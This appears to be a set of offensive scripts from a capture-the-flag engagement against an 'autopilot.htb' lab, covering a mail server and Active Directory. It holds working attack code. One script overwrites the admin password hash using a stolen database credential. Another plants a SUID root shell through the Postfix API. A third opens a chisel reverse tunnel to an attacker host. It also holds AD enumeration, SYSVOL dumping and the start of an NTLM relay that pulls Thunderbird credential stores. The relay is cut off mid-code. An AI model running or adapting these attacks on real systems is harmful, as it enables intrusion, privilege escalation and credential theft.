    protocol_version = "HTTP/1.1"

    def do_GET(self):
        self._forward()

    def do_POST(self):
        self._forward()

    def do_HEAD(self):
        self._forward()

    def do_OPTIONS(self):
        self._forward()

    def do_PUT(self):
        self._forward()

    def do_DELETE(self):
        self._forward()

    def do_PROPFIND(self):
        self._forward()

    def do_MKCOL(self):
        self._forward()

    def _forward(self):
        try:
            length = int(self.headers.get("Content-Length", "0"))
        except ValueError:
            self.send_error(400)
            return
        if length < 0 or length > MAX_BODY:
            self.send_error(413)
            return
        body = self.rfile.read(length) if length else None
        # For account-configuration debugging, log only the non-secret SSL
        # flag. Never print request bodies, cookies, usernames or passwords.
        if body and ("grommunio.php" in self.path):
```

```
            try:
                decoded = body
                if self.headers.get("Content-Encoding", "").lower() == "gzip":
                    decoded = gzip.decompress(decoded)
                parsed = None
                try:
                    parsed = json.loads(decoded)
                except Exception:
                    values = parse_qs(decoded.decode("utf-8", errors="ignore"), keep_blank_values=True)
                    for items in values.values():
                        for item in items:
                            candidate = unquote_plus(item)
                            try:
                                parsed = json.loads(candidate)
                                break
                            except Exception:
                                continue
                        if parsed is not None:
                            break

                def collect_schema(value, path="$", depth=0):
                    keys = []
                    found = []
                    if depth < 5 and isinstance(value, str) and value[:1] in "[{":
                        try:
                            value = json.loads(value)
                        except Exception:
                            pass
                    if isinstance(value, dict):
                        for key, item in value.items():
                            keys.append(f"{path}.{key}:{type(item).__name__}")
                            if key == "server_ssl":
                                found.append((type(item).__name__, item if item in (None, False, True, [
], 0, 1, "", "0", "1") else "other"))
                            nested_keys, nested_found = collect_schema(item, f"{path}.{key}", depth + 1)
                            keys.extend(nested_keys)
                            found.extend(nested_found)
                    elif isinstance(value, list):
                        for index, item in enumerate(value[:20]):
                            nested_keys, nested_found = collect_schema(item, f"{path}[{index}]", depth +
 1)
                            keys.extend(nested_keys)
                            found.extend(nested_found)
                    return keys[:120], found

                schema, ssl_values = collect_schema(parsed)
                if len(body) > 250:
                    logging.info("RPC JSON schema=%s", schema)
                if ssl_values:
                    logging.info("RPC account config server_ssl=%s", ssl_values)
            except Exception:
                logging.info("RPC body inspected for account flag (body omitted)")
        headers = {}
        for key, value in self.headers.items():
            if key.lower() in {"host", "connection", "proxy-connection", "content-length"}:
                continue
            if key.lower() == "origin":
                value = f"https://{VHOST}"
            elif key.lower() == "referer":
                suffix = value.split("/web/", 1)[1] if "/web/" in value else ""
                value = f"https://{VHOST}/web/{suffix}"
            headers[key] = value
        if "grommunio.php" in self.path:
            logging.info("RPC request content-type=%s content-encoding=%s bytes=%d",
                         self.headers.get("Content-Type", ""), self.headers.get("Content-Encoding", ""),
 length)
        headers["Host"] = VHOST
        headers["Connection"] = "close"
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        conn = RoutedHTTPSConnection(VHOST, PORT, context=context, timeout=20)
        try:
            conn.request(self.command, self.path, body=body, headers=headers)
            remote = conn.getresponse()
            response_body = remote.read()
            self.send_response(remote.status, remote.reason)
            for key, value in remote.getheaders():
                if key.lower() not in {"connection", "transfer-encoding", "content-length"}:
                    self.send_header(key, value)
            self.send_header("Content-Length", str(len(response_body)))
```

```
            self.send_header("Connection", "close")
            self.end_headers()
            if self.command != "HEAD":
                self.wfile.write(response_body)
            logging.info("%s %s -> %s (%d bytes)", self.command, safe_path(self.path), remote.status, le
n(response_body))
        except Exception as error:
            logging.warning("%s %s -> proxy error: %s", self.command, self.path, type(error).__name__)
            if not self.wfile.closed:
                self.send_error(502, "Scoped target connection failed")
        finally:
            conn.close()

    def log_message(self, fmt, *args):
        safe_args = tuple(safe_path(str(arg)) for arg in args)
        logging.info("local client " + fmt, *safe_args)


if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--vhost", default=VHOST)
    parser.add_argument("--listen-port", type=int, default=LISTEN[1])
    args = parser.parse_args()
    VHOST = args.vhost
    LISTEN = (LISTEN[0], args.listen_port)
    server = ThreadingHTTPServer(LISTEN, ProxyHandler)
    server.daemon_threads = True
    print(f"Loopback-only bridge listening at http://{LISTEN[0]}:{LISTEN[1]}/")
    print("Fixed upstream: https://autopilot.htb:443 -> 10.129.166.127:443")
    print("Press Ctrl-C to stop.")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        server.server_close()
```

腳本：admin_api_prepare.sh

來源：scripts/admin_api_prepare.sh | 完整原始內容

```
#!/bin/bash
set -eu

CF=/etc/postfix/grommunio-virtual-mailbox-maps.cf
ORIG=/tmp/.autopilot-admin-hash
PASSFILE=/tmp/.autopilot-admin-pass
DBPASS=$(awk -F' = ' '$1 == "password" {print $2; exit}' "$CF")
test -n "$DBPASS"
MYSQL="mysql -N -s -h127.0.0.1 -ugrommunio grommunio"

MYSQL_PWD="$DBPASS" $MYSQL -e 'SELECT password FROM users WHERE id=0' > "$ORIG"
chmod 600 "$ORIG"
NEWPASS=$(openssl rand -hex 18)
printf '%s' "$NEWPASS" > "$PASSFILE"
chmod 600 "$PASSFILE"
SALT=$(openssl rand -hex 5)
NEWHASH=$(openssl passwd -6 -salt "$SALT" "$NEWPASS")
MYSQL_PWD="$DBPASS" $MYSQL -e "UPDATE users SET password='$NEWHASH' WHERE id=0"

LOGIN=$(curl -sS --max-time 5 -H 'Host: mail.autopilot.htb' \
  --data-urlencode 'user=admin' --data-urlencode "pass=$NEWPASS" \
  http://127.0.0.1:8080/api/v1/login)
TOKEN=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("grommunioAut
hJwt", ""))')
CSRF=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("csrf", ""))')
if [ -z "$TOKEN" ]; then
  printf 'admin_login=failed response_keys='
  printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(",".join(json.load(sys.stdin).keys()))'
  exit 1
fi

COMMANDS=$(curl -sS --max-time 5 -H 'Host: mail.autopilot.htb' \
  -b "grommunioAuthJwt=$TOKEN" -H "X-Csrf-Token: $CSRF" \
  http://127.0.0.1:8080/api/v1/system/dbconf/commands)
printf 'admin_login=ok token_and_password=not_printed\n'
printf 'dbconf_allowed_commands=%s\n' "$(printf '%s' "$COMMANDS" | python3 -c 'import json,sys; d=json.l
oad(sys.stdin); print(json.dumps(d,separators=(",",":"))[:1600])')"
```

腳本：postfix_root_escalate.sh

來源：scripts/postfix_root_escalate.sh | 完整原始內容

```
#!/bin/bash
set -eu

API=http://127.0.0.1:8080/api/v1
PASSFILE=/tmp/.autopilot-admin-pass
test -s "$PASSFILE"
ADMINPASS=$(cat "$PASSFILE")
LOGIN=$(curl -sS --max-time 5 -H 'Host: mail.autopilot.htb' \
  --data-urlencode 'user=admin' --data-urlencode "pass=$ADMINPASS" "$API/login")
TOKEN=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("grommunioAut
hJwt", ""))')
CSRF=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("csrf", ""))')
test -n "$TOKEN"

api_request() {
  curl -sS --max-time 12 -H 'Host: mail.autopilot.htb' \
    -b "grommunioAuthJwt=$TOKEN" -H "X-Csrf-Token: $CSRF" \
    -H 'Content-Type: application/json' "$@"
}

HOOK=$(api_request -X PUT "$API/system/dbconf/grommunio-dbconf/postfix/" \
  --data '{"data":{"commit_file":"#POSTCONF"}}')
printf 'hook_response=%s\n' "$(printf '%s' "$HOOK" | python3 -c 'import json,sys; d=json.load(sys.stdin)
; print(d.get("message",d.get("data","ok")))' 2>/dev/null || printf '%s' "$HOOK" | head -c 200)"

cat > /var/spool/mail/postfix-script <<'POSTFIX_SCRIPT'
#!/bin/bash
/bin/cp /bin/bash /var/spool/mail/autopilot-rootbash
/bin/chmod 4755 /var/spool/mail/autopilot-rootbash
exit 0
POSTFIX_SCRIPT
chmod 755 /var/spool/mail/postfix-script

CONFIG=$(api_request -X PUT "$API/system/dbconf/postfix/main.cf/" \
  --data '{"data":{"daemon_directory":"/var/spool/mail"}}')
printf 'postfix_config_response=%s\n' "$(printf '%s' "$CONFIG" | python3 -c 'import json,sys; d=json.loa
d(sys.stdin); print(d.get("message",d.get("data","ok")))' 2>/dev/null || printf '%s' "$CONFIG" | head -c
 240)"

if [ -x /var/spool/mail/autopilot-rootbash ]; then
  printf 'rootbash_mode=%s\n' "$(stat -c '%U:%G %a' /var/spool/mail/autopilot-rootbash)"
  /var/spool/mail/autopilot-rootbash -p -c 'id'
else
  printf 'rootbash=not_created\n'
fi
```

腳本：start_internal_pivot_root.sh

來源：scripts/start_internal_pivot_root.sh | 完整原始內容

```
#!/bin/sh
set +e
/var/spool/mail/autopilot-rootbash -p -c "python3 - <<'PY'
import os, subprocess, time
os.setgid(0)
os.setuid(0)
try:
    pids = subprocess.check_output(['pgrep','-f','^/tmp/.chisel client'], text=True).split()
    for pid in pids: os.kill(int(pid), 15)
except Exception: pass
time.sleep(1)
log = open('/tmp/.chisel-root.log','ab',buffering=0)
p = subprocess.Popen(['/tmp/.chisel','client','--fingerprint','+3fmG1GdY8BEOGRzhewukzg85kTEDoX1fJWHLcTGx
sw=','10.10.15.1:9002','R:1080:socks','R:2445:172.16.20.15:445'],stdin=subprocess.DEVNULL,stdout=log,std
err=subprocess.STDOUT,close_fds=True,start_new_session=True)
time.sleep(3)
print('root_client_pid='+str(p.pid))
print(open('/tmp/.chisel-root.log').read())
print('uid='+str(os.getuid()))
PY"
```

腳本：socks_forward.py

來源：scripts/socks_forward.py | 完整原始內容

```
#!/usr/bin/env python3
"""Loopback TCP forwarder through a SOCKS5 tunnel to one explicit destination."""
import argparse
import select
import socket
import socketserver
import struct
import threading


class Forwarder(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True

    def __init__(self, bind, dest, proxy, timeout):
        self.destination = dest
        self.proxy = proxy
        self.timeout = timeout
        super().__init__(bind, Handler)


class Handler(socketserver.BaseRequestHandler):
    def handle(self):
        server = self.server
        upstream = None
        try:
            upstream = socket.create_connection(server.proxy, timeout=server.timeout)
            upstream.settimeout(server.timeout)
            upstream.sendall(b"\x05\x01\x00")
            if self._recv_exact(upstream, 2) != b"\x05\x00":
                raise OSError("SOCKS5 method negotiation failed")
            host, port = server.destination
            request = b"\x05\x01\x00\x01" + socket.inet_aton(host) + struct.pack("!H", port)
            upstream.sendall(request)
            response = self._recv_exact(upstream, 10)
            if len(response) != 10 or response[1] != 0:
                raise OSError(f"SOCKS5 connect failed (reply {response!r})")
            upstream.settimeout(None)
            self.request.settimeout(None)
            self._pump(self.request, upstream)
        except (OSError, TimeoutError) as exc:
            print(f"forward error: {type(exc).__name__}: {exc}", flush=True)
        finally:
            if upstream:
                upstream.close()

    @staticmethod
    def _recv_exact(sock, length):
        data = bytearray()
        while len(data) < length:
            block = sock.recv(length - len(data))
            if not block:
                break
            data.extend(block)
        return bytes(data)

    @staticmethod
    def _pump(left, right):
        peers = {left: right, right: left}
        while True:
            readable, _, _ = select.select([left, right], [], [], 60)
            if not readable:
                return
            for source in readable:
                chunk = source.recv(65536)
                if not chunk:
                    return
                peers[source].sendall(chunk)


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--bind", default="127.0.0.1")
    parser.add_argument("--listen-port", type=int, required=True)
    parser.add_argument("--target", required=True, help="single IPv4 destination")
    parser.add_argument("--target-port", type=int, required=True)
    parser.add_argument("--socks", default="127.0.0.1:1080")
```

```
    parser.add_argument("--timeout", type=float, default=8)
    args = parser.parse_args()
    proxy_host, proxy_port = args.socks.rsplit(":", 1)
    server = Forwarder((args.bind, args.listen_port), (args.target, args.target_port),
                       (proxy_host, int(proxy_port)), args.timeout)
    print(f"loopback {args.bind}:{args.listen_port} -> SOCKS -> {args.target}:{args.target_port}", flush
=True)
    server.serve_forever()


if __name__ == "__main__":
    main()
```

腳本：socks_scan.py

來源：scripts/socks_scan.py | 完整原始內容

```
#!/usr/bin/env python3
"""Small TCP connect scanner through a local SOCKS5 tunnel (authorized scope)."""
import argparse
import ipaddress
import socket
import struct
from concurrent.futures import ThreadPoolExecutor, as_completed


def probe(host: str, port: int, proxy_host: str, proxy_port: int, timeout: float):
    try:
        with socket.create_connection((proxy_host, proxy_port), timeout=timeout) as sock:
            sock.settimeout(timeout)
            sock.sendall(b"\x05\x01\x00")
            if sock.recv(2) != b"\x05\x00":
                return None
            request = b"\x05\x01\x00\x01" + socket.inet_aton(host) + struct.pack("!H", port)
            sock.sendall(request)
            reply = sock.recv(10)
            if len(reply) == 10 and reply[1] == 0:
                return host, port
    except (OSError, TimeoutError):
        pass
    return None


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("network", help="IPv4 address or CIDR, e.g. 172.16.20.15 or 172.16.20.0/24")
    parser.add_argument("-p", "--ports", default="143,445", help="comma-separated ports/ranges, e.g. 88,
135,139,445,1-1024")
    parser.add_argument("--proxy", default="127.0.0.1:1080")
    parser.add_argument("--workers", type=int, default=64)
    parser.add_argument("--timeout", type=float, default=1.5)
    args = parser.parse_args()
    proxy_host, proxy_port = args.proxy.rsplit(":", 1)
    network = ipaddress.ip_network(args.network, strict=False)
    hosts = [str(network.network_address)] if network.prefixlen == network.max_prefixlen else [str(host)
 for host in network.hosts()]
    ports = []
    for item in args.ports.split(","):
        if "-" in item:
            first, last = (int(value) for value in item.split("-", 1))
            ports.extend(range(first, last + 1))
        else:
            ports.append(int(item))
    futures = []
    with ThreadPoolExecutor(max_workers=args.workers) as pool:
        for host in hosts:
            for port in ports:
                futures.append(pool.submit(probe, host, port, proxy_host, int(proxy_port), args.timeout)
)
        for future in as_completed(futures):
            result = future.result()
            if result:
                print(f"OPEN {result[0]}:{result[1]}", flush=True)


if __name__ == "__main__":
    main()
```

腳本：ad_initial_enum.py

來源：scripts/ad_initial_enum.py | 完整原始內容

```
#!/usr/bin/env python3
"""Read-only anonymous and supplied-credential AD connectivity check via loopback forwards."""
import getpass
from impacket.smbconnection import SMBConnection
from ldap3 import ALL, ANONYMOUS, BASE, NTLM, SUBTREE, Connection, Server


def ldap_probe(auth, user='', password=''):
    server = Server('127.0.0.1', port=1389, get_info=ALL, connect_timeout=8)
    conn = Connection(server, user=user, password=password, authentication=auth,
                      auto_bind=True, receive_timeout=8)
    conn.search('', '(objectClass=*)', search_scope=BASE,
                attributes=['defaultNamingContext', 'rootDomainNamingContext', 'dnsHostName'])
    print(f"LDAP {auth}: bind=ok, rootDSE entries={len(conn.entries)}")
    base = str(conn.entries[0].defaultNamingContext.value) if conn.entries else ''
    if base:
        conn.search(base, '(&(objectCategory=person)(objectClass=user))', search_scope=SUBTREE,
                    attributes=['sAMAccountName'], size_limit=100)
        names = [str(entry.sAMAccountName.value) for entry in conn.entries]
        print(f"LDAP {auth}: user_search={len(names)} names=" + ','.join(names[:30]))
    conn.unbind()


def smb_probe(user='', password='', domain=''):
    conn = SMBConnection('dc01.autopilot.htb', '127.0.0.1', sess_port=1445, timeout=8)
    try:
        if user:
            conn.login(user, password, domain)
        else:
            conn.login('', '')
        print(f"SMB auth={'provided' if user else 'anonymous'}: login=ok")
        try:
            shares = [share['shi1_netname'].rstrip('\x00') for share in conn.listShares()]
            print('SMB shares=' + ','.join(shares))
        except Exception as exc:
            print(f"SMB listShares={type(exc).__name__}")
    finally:
        conn.logoff()


if __name__ == '__main__':
    for label, fn in [('anonymous', lambda: ldap_probe(ANONYMOUS))]:
        try:
            fn()
        except Exception as exc:
            print(f"LDAP {label}: {type(exc).__name__}: {exc}")
    try:
        smb_probe()
    except Exception as exc:
        print(f"SMB anonymous: {type(exc).__name__}: {exc}")
    username = input('AD username to test: ').strip()
    password = getpass.getpass('AD password to test: ')
    try:
        smb_probe(username, password, 'AUTOPILOT')
    except Exception as exc:
        print(f"SMB supplied: {type(exc).__name__}: {exc}")
    try:
        ldap_probe(NTLM, f'AUTOPILOT\\{username}', password)
    except Exception as exc:
        print(f"LDAP supplied: {type(exc).__name__}: {exc}")
```

腳本：ad_attack_surface.py

來源：scripts/ad_attack_surface.py | 完整原始內容

```
#!/usr/bin/env python3
"""Read-only authenticated LDAP inventory for Autopilot AD attack paths."""
import getpass, ssl
from ldap3 import NTLM, SUBTREE, BASE, Connection, Server, Tls

def first(attrs, key):
    values = attrs.get(key) or []
    return values[0] if values else ''

user=input('AD username: ').strip(); password=getpass.getpass('AD password: ')
server=Server('127.0.0.1',port=1636,use_ssl=True,tls=Tls(validate=ssl.CERT_NONE),connect_timeout=10,get_
info=None)
conn=Connection(server,user=f'AUTOPILOT\\{user}',password=password,authentication=NTLM,auto_bind=True,re
ceive_timeout=15)
try:
    conn.search('', '(objectClass=*)', search_scope=BASE, attributes=['defaultNamingContext','configurat
ionNamingContext','dnsHostName'])
    root=conn.entries[0]
    base=str(root.defaultNamingContext.value); config=str(root.configurationNamingContext.value)
    print(f'ROOT namingContext={base} configuration={config} dc={root.dnsHostName.value}')
    conn.search(base,'(&(objectCategory=person)(objectClass=user))',SUBTREE,
                attributes=['sAMAccountName','description','userAccountControl','memberOf','servicePrinc
ipalName','pwdLastSet','msDS-AllowedToDelegateTo','adminCount'])
    users=conn.entries; print(f'USERS count={len(users)}')
    asrep=[]; spn=[]
    for e in users:
        a=e.entry_attributes_as_dict; name=(a.get('sAMAccountName') or [''])[0]
        uac=int((a.get('userAccountControl') or [0])[0])
        if uac & 0x400000: asrep.append(name)
        services=a.get('servicePrincipalName') or []
        if services: spn.append((name,services))
        if name.lower() in {'deborah.hernandez','stephanie.lewis','da-stephanie.lewis','sa-joshua.harris
'}:
            print(f'USER {name} uac=0x{uac:x} description={first(a,"description")!r} groups={a.get("memb
erOf",[])} spns={services} pwdLastSet={first(a,"pwdLastSet")} adminCount={first(a,"adminCount")}')
    print(f'ASREP_PREAUTH_DISABLED={asrep}')
    print(f'SPN_USERS={spn}')
    conn.search(base,'(objectCategory=computer)',SUBTREE,
                attributes=['sAMAccountName','dNSHostName','operatingSystem','userAccountControl','membe
rOf','servicePrincipalName','msDS-AllowedToDelegateTo'])
    computers=conn.entries; print(f'COMPUTERS count={len(computers)}')
    for e in computers:
        a=e.entry_attributes_as_dict; print(f'COMPUTER {first(a,"sAMAccountName")} dns={first(a,"dNSHost
Name")} os={first(a,"operatingSystem")} uac={first(a,"userAccountControl")} spns={a.get("servicePrincipa
lName",[])} delegation={a.get("msDS-AllowedToDelegateTo",[])} groups={a.get("memberOf",[])}')
    conn.search(base,'(objectClass=domainDNS)',BASE,attributes=['minPwdLength','pwdProperties','maxPwdAg
e','lockoutThreshold','lockoutDuration','lockOutObservationWindow'])
    if conn.entries:
        print('DOMAIN_POLICY '+str(conn.entries[0].entry_attributes_as_dict))
    conn.search(base,'(objectClass=msDS-GroupManagedServiceAccount)',SUBTREE,attributes=['sAMAccountName
','description','memberOf','msDS-GroupMSAMembership'])
    print('GMSA_COUNT='+str(len(conn.entries)))
    for e in conn.entries: print('GMSA '+str(e.entry_attributes_as_dict))
finally:
    conn.unbind(); password=''
```

腳本：ad_acl_review.py

來源：scripts/ad_acl_review.py | 完整原始內容

```
#!/usr/bin/env python3
"""Read-only review of DACLs on privilege-relevant AD objects."""
import getpass, ssl
from ldap3 import NTLM, SUBTREE, BASE, Connection, Server, Tls
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR

user=input('AD username: ').strip(); password=getpass.getpass('AD password: ')
server=Server('127.0.0.1',port=1636,use_ssl=True,tls=Tls(validate=ssl.CERT_NONE),connect_timeout=10,get_
info=None)
conn=Connection(server,user=f'AUTOPILOT\\{user}',password=password,authentication=NTLM,auto_bind=True,re
ceive_timeout=15)
control=security_descriptor_control(sdflags=0x04)
try:
    conn.search('', '(objectClass=*)', BASE, attributes=['defaultNamingContext'])
    base=str(conn.entries[0].defaultNamingContext.value)
    conn.search(base,'(objectSid=*)',BASE,attributes=['objectSid'])
    domain_sid=conn.entries[0].objectSid.value
    if isinstance(domain_sid,bytes):
        from impacket.ldap.ldaptypes import LDAP_SID
        d=LDAP_SID();d.fromString(domain_sid);domain_sid=d.formatCanonical()
    else: domain_sid=str(domain_sid)
    principals={domain_sid+'-513':'Domain Users',domain_sid+'-512':'Domain Admins',domain_sid+'-1105':'D
nsAdmins','S-1-5-11':'Authenticated Users','S-1-1-0':'Everyone','S-1-5-18':'SYSTEM'}
    conn.search(base,'(objectClass=*)',SUBTREE,attributes=['objectSid','sAMAccountName','cn','distinguis
hedName'])
    for e in conn.entries:
        a=e.entry_attributes_as_dict
        sidvals=a.get('objectSid') or []
        if sidvals:
            try:
                from impacket.ldap.ldaptypes import LDAP_SID
                obj=LDAP_SID();obj.fromString(sidvals[0] if isinstance(sidvals[0],bytes) else bytes(sidv
als[0]))
                principals[obj.formatCanonical()]=str((a.get('sAMAccountName') or a.get('cn') or [''])[0
])
            except Exception: pass
    filters=[
        ('users','(&(objectCategory=person)(objectClass=user))'),
        ('computers','(objectCategory=computer)'),
        ('groups','(objectCategory=group)'),
        ('templates','(objectClass=pKICertificateTemplate)'),
    ]
    for label,flt in filters:
        conn.search(base,flt,SUBTREE,attributes=['distinguishedName','sAMAccountName','cn','objectSid','
nTSecurityDescriptor'],controls=control,paged_size=500)
        rows=conn.entries
        print(f'OBJECTS {label}={len(rows)}')
        for e in rows:
            attrs=e.entry_attributes_as_dict
            dn=str(e.entry_dn)
            sam=(attrs.get('sAMAccountName') or attrs.get('cn') or [''])[0]
            relevant = label!='users' or str(sam).lower() in {'deborah.hernandez','stephanie.lewis','da-
stephanie.lewis','sa-joshua.harris','svc_smime'}
            if not relevant: continue
            raw=e['nTSecurityDescriptor'].raw_values if 'nTSecurityDescriptor' in e else []
            if not raw: continue
            try:
                sd=SR_SECURITY_DESCRIPTOR(); sd.fromString(raw[0]); dacl=sd['Dacl']
                if not dacl: continue
                hits=[]
                for ace in dacl.aces:
                    try:
                        av=ace['Ace']; sid=av['Sid'].formatCanonical(); mask=av['Mask']['Mask']
                        flags=[]
                        for bit,name in [(0x10000000,'GenericAll'),(0x20000000,'GenericWrite'),(0x40000,
'WriteDacl'),(0x80000,'WriteOwner'),(0x20,'WriteProperty'),(0x8,'Self'),(0x100,'ControlAccess'),(0x1,'Cr
eateChild'),(0x2,'DeleteChild')]:
                            if mask & bit: flags.append(name)
                        if sid in principals and flags:
                            aceflags=ace['AceFlags']
                            hits.append(f'{principals[sid]}({sid})={"|".join(flags)} aceType={ace["AceTy
pe"]} aceFlags={aceflags}')
                    except Exception: pass
                if hits: print('DACL '+label+' '+str(sam)+' DN='+dn+' :: '+' ; '.join(hits))
            except Exception as ex: print('PARSE_ERROR',label,str(sam),type(ex).__name__,str(ex))
finally:
```

```
conn.unbind(); password=''
```

腳本：inspect_smime_ad_certificates.py

來源：scripts/inspect_smime_ad_certificates.py｜完整原始內容

```
#!/usr/bin/env python3
"""Read-only AD inspection for S/MIME recipient certificates exposed in captured mail."""
import getpass
import ssl
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from ldap3 import NTLM, SUBTREE, Connection, Server, Tls

TARGET_SERIALS = {
    int('260000000AF186381636B43E1000000000000A', 16): 'S/MIME recipient A',
    int('260000000B5D42583DDDB10CF500000000000B', 16): 'S/MIME recipient B',
}
username = input('AD username: ').strip()
password = getpass.getpass('AD password: ')
server = Server('127.0.0.1', port=1636, use_ssl=True, tls=Tls(validate=ssl.CERT_NONE), connect_timeout=1
0)
conn = Connection(server, user='AUTOPILOT\\' + username, password=password, authentication=NTLM,
                  auto_bind=True, receive_timeout=15, check_names=False)
try:
    base = 'DC=autopilot,DC=htb'
    conn.search(base, '(&(objectCategory=person)(objectClass=user)(sAMAccountName=svc_smime))',
                search_scope=SUBTREE, attributes=['sAMAccountName','description','memberOf','userAccount
Control','pwdLastSet'])
    for entry in conn.entries:
        print('SERVICE_ACCOUNT', entry.entry_dn)
        for attr in ('sAMAccountName','description','memberOf','userAccountControl','pwdLastSet'):
            print(attr + '=' + repr(entry[attr].values))
    conn.search(base, '(|(userCertificate=*)(userSMIMECertificate=*))', search_scope=SUBTREE,
                attributes=['sAMAccountName','userCertificate','userSMIMECertificate'])
    seen = 0
    matches = 0
    for entry in conn.entries:
        attrs = entry.entry_raw_attributes
        for attr in ('userCertificate','userSMIMECertificate'):
            for raw in attrs.get(attr, []):
                seen += 1
                try:
                    cert = x509.load_der_x509_certificate(raw)
                except Exception:
                    continue
                if cert.serial_number in TARGET_SERIALS:
                    matches += 1
                    print('MATCH', TARGET_SERIALS[cert.serial_number], 'account=' + str(entry['sAMAccoun
tName'].value),
                          'dn=' + entry.entry_dn, 'serial=' + format(cert.serial_number,'x'))
                    print('subject=' + cert.subject.rfc4514_string())
                    print('issuer=' + cert.issuer.rfc4514_string())
                    print('not_after=' + cert.not_valid_after_utc.isoformat())
                    print('sha256=' + cert.fingerprint(hashes.SHA256()).hex())
                    print('public_key=' + cert.public_key().__class__.__name__)
    print('certificates_examined=' + str(seen), 'recipient_matches=' + str(matches))
finally:
    conn.unbind()
    password = ''
```

腳本：enum_sysvol.py

來源：scripts/enum_sysvol.py｜完整原始內容

```
#!/usr/bin/env python3
"""Read-only SYSVOL/NETLOGON inventory with the supplied domain account."""
import getpass
from impacket.smbconnection import SMBConnection

username = input('AD username: ').strip()
password = getpass.getpass('AD password: ')
smb = SMBConnection('dc01.autopilot.htb', '127.0.0.1', sess_port=1445, timeout=10)
try:
    smb.login(username, password, 'AUTOPILOT')
    for share in ('SYSVOL', 'NETLOGON'):
        print(f'-- {share} --')
        try:
            for entry in smb.listPath(share, r'\*'):
                print(('DIR ' if entry.is_directory() else 'FILE') + ' ' + entry.get_longname())
        except Exception as exc:
            print(f'{type(exc).__name__}: {exc}')
    for share, root in (('SYSVOL', r'\\autopilot.htb'), ('NETLOGON', r'\\')):
        print(f'-- recursive {share} inventory --')
        queue = [root]
        seen = set()
        while queue:
            path = queue.pop(0)
            if path in seen:
                continue
            seen.add(path)
            try:
                entries = smb.listPath(share, path.rstrip('\\') + r'\\*')
            except Exception as exc:
                print(f'{path}: {type(exc).__name__}')
                continue
            for entry in entries:
                name = entry.get_longname()
                if name in ('.', '..'):
                    continue
                remote = path.rstrip('\\') + '\\' + name
                if entry.is_directory():
                    print(f'DIR {share}:{remote}')
                    queue.append(remote)
                else:
                    print(f'FILE {share}:{remote} size={entry.get_filesize()}')
                    if any(name.lower().endswith(ext) for ext in ('.xml', '.ps1', '.bat', '.vbs', '.ini'
)) and entry.get_filesize() < 1048576:
                        from io import BytesIO
                        data = BytesIO()
                        try:
                            smb.getFile(share, remote, data.write)
                            body = data.getvalue().decode('utf-8', errors='replace')
                            print(f'--- {share}:{remote} ---\n{body[:12000]}\n--- end ---')
                        except Exception as exc:
                            print(f'read failed: {type(exc).__name__}')
finally:
    try:
        smb.logoff()
    except Exception:
        pass
    password = ''
```

腳本：check_smb_signing.py

來源：scripts/check_smb_signing.py | 完整原始內容

```
#!/usr/bin/env python3
"""Read SMB2/3 negotiate security mode through the authorized pivot ports."""
import argparse

from impacket.smbconnection import SMBConnection


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--ports", nargs="+", type=int, default=[1445, 2445])
    args = parser.parse_args()
    for port in args.ports:
        conn = None
        try:
            conn = SMBConnection("127.0.0.1", "127.0.0.1", sess_port=port, timeout=6)
            smb = conn.getSMBServer()
            security_mode = int(smb._Connection.get("ServerSecurityMode", 0))
            dialect = int(conn.getDialect())
            enabled = bool(security_mode & 0x01)
            required = bool(security_mode & 0x02)
            print(
                f"port={port} dialect=0x{dialect:04x} security_mode=0x{security_mode:02x} "
                f"signing_enabled={enabled} signing_required={required}"
            )
        except Exception as exc:
            print(f"port={port} error={type(exc).__name__}: {str(exc)[:160]}")
        finally:
            if conn is not None:
                conn.close()


if __name__ == "__main__":
    main()
```

腳本：imap_ntlm_relay.py

來源：scripts/imap_ntlm_relay.py | 完整原始內容

```
#!/usr/bin/env python3
"""Temporary STARTTLS IMAP NTLM relay to the scoped WS02 SMB forward.

The target-side IMAP listener is briefly replaced by a TCP bridge to this
assessor-side listener. This server terminates TLS with the target's own
certificate, obtains a fresh SMB challenge from the authorized SMB forward,
and relays only the live NTLM exchange. It never writes the raw Type 3 token.
On a successful C$ session it downloads only Thunderbird credential stores
and runas.exe from user profiles for the agreed lab objective.
"""
import argparse
import base64
import os
import socket
import socketserver
import ssl
import threading
from pathlib import Path
from types import SimpleNamespace
from urllib.parse import urlparse

from impacket import nt_errors
from impacket.ntlm import NTLMAuthChallengeResponse
from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient


MAX_LINE = 16384
NTLMSSP = b"NTLMSSP\x00"
SMB_SIGNING_REQUIRED = 0x02


def read_line(sock):
    buf = bytearray()
    while len(buf) < MAX_LINE:
        chunk = sock.recv(1)
        if not chunk:
            return None
        buf.extend(chunk)
        if buf.endswith(b"\n"):
            return bytes(buf).rstrip(b"\r\n")
    raise ValueError("IMAP line exceeds limit")


def ntlm_identity(blob):
    message = NTLMAuthChallengeResponse()
    message.fromString(blob)
    def decode(field):
        value = message[field]
        return value.decode("utf-16le", errors="replace") if value else ""
    return decode("domain_name"), decode("user_name")


def share_entry_name(entry):
    try:
        name = entry.get_longname()
    except Exception:
        name = str(entry)
    return name.rstrip("\x00")


class RelayCollector:
    def __init__(self, smb_port, output_dir):
        self.smb_port = smb_port
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(mode=0o700, parents=True, exist_ok=True)
        self.lock = threading.Lock()
        self.collected = False
        self.collecting = False

    def new_client(self):
        config = SimpleNamespace(
            smb2support=True,
            remove_mic=False,
            remove_target=False,
